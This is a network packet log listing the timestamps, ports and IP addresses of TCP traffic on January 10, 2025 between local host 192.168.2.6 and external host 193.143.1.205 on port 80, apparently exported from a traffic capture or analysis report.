Jan 10, 2025 17:32:40.513389111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.513465881 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.524668932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524686098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524699926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524713039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524740934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524763107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.524827003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524851084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.524863958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524882078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524893999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524907112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524919033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524935007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524945021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.524960995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.524960995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.524960995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.525017023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.557586908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557612896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557622910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557638884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557651997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557663918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557677984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557689905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557703972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557717085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.557723045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.557792902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.558013916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.567106009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.574744940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.595740080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595762014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595774889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595782042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595789909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595801115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595813990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595828056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.595952034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.595952034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.596054077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596066952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596079111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596090078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596120119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596138954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596151114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596164942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596177101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596178055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.596178055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.596189976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596201897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596215010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596225977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.596267939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.596267939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.596267939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.633573055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633605957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633616924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633636951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633647919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633660078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633704901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.633733988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633754015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633835077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633846998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633862972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633874893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633879900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.633879900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.633982897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.633997917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.633997917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634037018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634049892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634062052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634074926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634109974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634109974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634241104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634275913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634287119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634316921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634316921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634401083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634413004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634426117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634438038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634450912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634469986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634469986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634598017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634660959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634717941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634731054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634743929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634756088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634768963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634780884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634794950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634807110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634810925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634810925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634819984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.634838104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634911060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.634911060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635200977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635215044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635226011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635251999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635265112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635277033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635289907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635303020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635305882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635305882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635329962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635334969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635343075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635354042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635365009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635377884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635396957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635396957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635449886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635775089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635788918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635802984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635824919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635907888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635921955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635932922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635946035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635963917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635963917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635966063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635978937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.635988951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.635992050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636006117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636018991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636030912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636043072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636054993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636069059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636080980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636087894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636087894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636089087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636095047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636141062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636141062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636786938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636799097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636811018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636825085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636837959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636850119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636887074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636887074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636904001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636915922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636928082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636939049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636954069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636967897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636981010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636993885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.636996031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.636996031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.637006998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.637027025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.637027979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.637039900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.637108088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.637108088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.644125938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644201040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644213915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644227982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644241095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644253969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644267082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.644295931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.644296885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682378054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682496071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682518005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682529926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682542086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682557106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682569981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682581902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682595015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682599068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682599068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682617903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682631016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682642937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682653904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682667017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682672024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682677031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682682991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682694912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682703972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682733059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682733059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682769060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682780981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682801008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682862997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682877064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682887077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682890892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.682899952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682913065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682924032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.682930946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.683011055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.683011055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.720360994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720388889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720407963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720421076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720442057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720457077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720468998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720483065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720484018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.720521927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720537901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.720576048 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.720597029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.720910072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720930099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720943928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720956087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720968962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720982075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.720999956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721002102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721012115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721033096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721045971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721049070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721049070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721057892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721070051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721091986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721102953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721105099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721105099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721113920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721132040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721143961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721152067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721159935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721170902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721174955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721210003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721216917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721221924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721245050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721255064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721283913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721287012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721299887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721365929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721366882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721393108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721472979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721476078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721533060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721551895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721580029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721590042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721600056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721601009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721621990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721636057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721648932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721648932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721649885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721662998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721669912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721677065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721777916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721791983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721812010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721824884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721837997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721843958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721851110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721863031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721874952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721888065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721900940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.721909046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721937895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.721952915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.725337029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725349903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725363016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725497961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725512981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.725517035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725532055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725543976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725558043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725569963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725581884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725589037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.725589037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.725594044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725609064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725622892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725634098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.725637913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.725711107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.725711107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.726114035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726257086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726269007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726281881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726294041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726308107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726325035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726337910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.726337910 CET	49711	80	192.168.2.6	193.143.1.205
